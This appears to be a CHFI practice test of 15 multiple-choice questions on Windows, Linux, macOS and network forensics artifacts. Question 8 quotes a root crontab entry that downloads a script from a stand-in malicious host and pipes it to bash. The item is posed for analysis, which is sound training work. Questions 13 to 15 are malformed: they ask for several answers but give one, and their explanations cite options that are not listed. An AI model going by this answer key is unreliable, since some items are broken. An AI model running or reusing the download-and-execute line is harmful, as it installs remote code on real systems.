CHFI OS and Network Forensics Practice Test 8 — 15 Questions

Question 1

A security analyst detects a sudden spike in failed logon events with Event ID 4625 on a Windows domain controller. The source IP addresses are random and from various external subnets. Which type of attack is MOST likely occurring?

Accepted Answer

Brute‑force attack. Event ID 4625 indicates failed logon attempts. A sudden spike from random external IPs is characteristic of a brute‑force attack, where an attacker tries many passwords across multiple accounts.

Answer

Pass‑the‑hash attack

Answer

Kerberos ticket forgery (Golden Ticket)

Answer

Insider threat with compromised credentials

Question 2

During a forensic investigation of a Windows 10 system, an examiner finds the following registry key: NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count. The values contain Rot‑13 encoded data. What is the primary purpose of this artifact?

Accepted Answer

Track programs executed by the user. The UserAssist key tracks applications launched via the Windows shell (Start Menu, Run, etc.). The data is Rot‑13 encoded to obscure the count and last execution time.

Answer

Store recently opened documents (MRU list)

Answer

Record USB device insertion history

Answer

Log network share connections

Question 3

An analyst is examining a Linux server and issues the command: cat /var/log/auth.log | grep 'Failed password' | awk '{print $1,$2,$3,$9,$11}' | sort | uniq -c. What is the analyst most likely trying to determine?

Accepted Answer

The IP addresses with the most failed SSH login attempts. The command extracts timestamps, usernames, and IP addresses from failed SSH login attempts, then counts unique occurrences. This identifies the most frequent source of brute‑force attempts.

Answer

The list of all sudo commands executed

Answer

The number of distinct users who successfully logged in

Answer

The total number of successful logins

Question 4

Which Windows registry hive should be examined to determine the last time a specific external USB drive was connected to a system?

Accepted Answer

HKLM\SYSTEM. The SYSTEM hive (specifically HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR) contains identifiers and timestamps for every USB device that has been attached.

Answer

HKLM\SAM

Answer

HKLM\SOFTWARE

Answer

HKLM\SECURITY

Question 5

A forensic analyst is investigating a macOS system and wants to review a timeline of past application launches and file accesses across multiple days. Which forensic artifact is BEST suited for this purpose?

Accepted Answer

Unified logging (log show). Unified logging in macOS contains a chronological log of system events including application launches, file accesses, and network connections. It can be queried with `log show`.

Answer

FSEvents log files

Answer

.plist files in ~/Library/Preferences

Answer

~/Library/Application Support/com.apple.sharedfilelist

Question 6

A network analyst captures a packet with Wireshark showing a TCP SYN packet from IP 10.0.0.5 to 192.168.1.10 port 443, followed immediately by a SYN‑ACK from 192.168.1.10 to 10.0.0.5, then an RST from 10.0.0.5. What does this sequence MOST likely indicate?

Accepted Answer

A TCP SYN scan (stealth scan). A SYN followed by SYN‑ACK and then RST is typical of a port scan where the scanner sends a SYN, receives a SYN‑ACK (port open), and then immediately resets the connection to avoid completing the handshake.

Answer

A man‑in‑the‑middle attack

Answer

A denial‑of‑service (SYN flood) attack

Answer

A normal HTTPS session initiation

Question 7

Which Windows Event ID is generated when a new service is installed on a system?

Accepted Answer

7045. Event ID 7045 in the System log is logged when a service is installed, started, or changed.

Answer

4624

Answer

4648

Answer

4720

Question 8

During an incident response, an analyst finds the following entry in /etc/crontab: */5 * * * * root /bin/bash -c 'curl -s http://malicious.com/script.sh | bash'. What is the MOST likely purpose of this entry?

Accepted Answer

Persistence mechanism to maintain access. The cron job runs every 5 minutes as root, downloading and executing a script from a remote server. This is a typical persistence mechanism for a backdoor or command‑and‑control.

Answer

Log cleanup tool

Answer

System backup script

Answer

Software update process

Question 9

A forensic examiner needs to analyze the contents of a Windows prefetch file (.pf) to determine the last execution time of an application. Which tool would BEST accomplish this task?

Accepted Answer

PECmd. Prefetch files contain metadata including last run time and run count. Tools like PECmd (from Eric Zimmerman's tools) are designed to parse .pf files forensically.

Answer

prefetch.exe (built‑in Windows tool)

Answer

ShellBags Explorer

Answer

JumpLister

Question 10

In Linux, which file contains hashed user passwords?

Accepted Answer

/etc/shadow. The /etc/shadow file stores hashed user passwords along with password aging information, and is readable only by root to enhance security. In contrast, /etc/passwd contains user account information but stores only a placeholder (usually 'x' or '*') for the password hash, not the hash itself. This separation is a standard Linux security mechanism to prevent unauthorized access to password hashes.

Answer

/etc/gshadow

Answer

/etc/group

Answer

/etc/passwd

Question 11

An analyst reviews NetFlow logs and sees a single internal host communicating with multiple external IPs on port 53 (DNS) over a short period, with each session transferring approximately 1500 bytes. What suspicious activity might this indicate?

Accepted Answer

DNS tunneling for data exfiltration. DNS tunneling often uses small DNS queries/responses to exfiltrate data or establish C2. The consistent small packet size and many external destinations are indicators.

Answer

A DNS amplification attack

Answer

Dynamic DNS update attempts

Answer

Normal DNS resolution for web browsing

Question 12

A Windows system has been compromised. The analyst finds a registry run key at HKCU\Software\Microsoft\Windows\CurrentVersion\Run with value name 'UpdateService' pointing to C:\Users\Public\svchost.exe. Why is this particularly suspicious?

Accepted Answer

The path is not typical for svchost.exe, which resides in System32. The legitimate svchost.exe runs from C:\Windows\System32, not from C:\Users\Public. This is a common masquerading technique where malware uses a system process name in a user‑writable location.

Answer

Run keys are only for startup programs, not services

Answer

The run key is disabled in Windows 10

Answer

The registry value name 'UpdateService' is too generic

Question 13

Which TWO Windows artifacts can be used to identify recently accessed files or folders on a system? (Select the two best answers.)

Accepted Answer

LNK files. ShellBags store folder view settings and paths, while LNK files are shortcuts that record the target file path and timestamps. Both can indicate accessed locations.

Answer

Event ID 4624

Answer

SAM hive

Answer

Prefetch files

Question 14

A forensic examiner is analyzing a Linux system suspected of being used as a C2 server. Which THREE artifacts should the examiner prioritize to find evidence of command execution and persistence? (Select three.)

Accepted Answer

~/.bash_history. Bash history shows commands typed by the user. Auth.log may show reverse shell connections. Cron jobs are common persistence mechanisms. Syslog is too broad, and /etc/passwd shows users but not execution.

Answer

/var/log/syslog

Answer

/etc/passwd

Question 15

Which TWO of the following are common persistence mechanisms used by malware on Windows systems? (Select two.)

Accepted Answer

Scheduled Tasks. Run keys in the registry and scheduled tasks are standard persistence techniques. Prefetch and LNK files are forensic artifacts, not persistence mechanisms. USBSTOR tracks devices.

Answer

USBSTOR registry key

Answer

Prefetch files

Answer

LNK files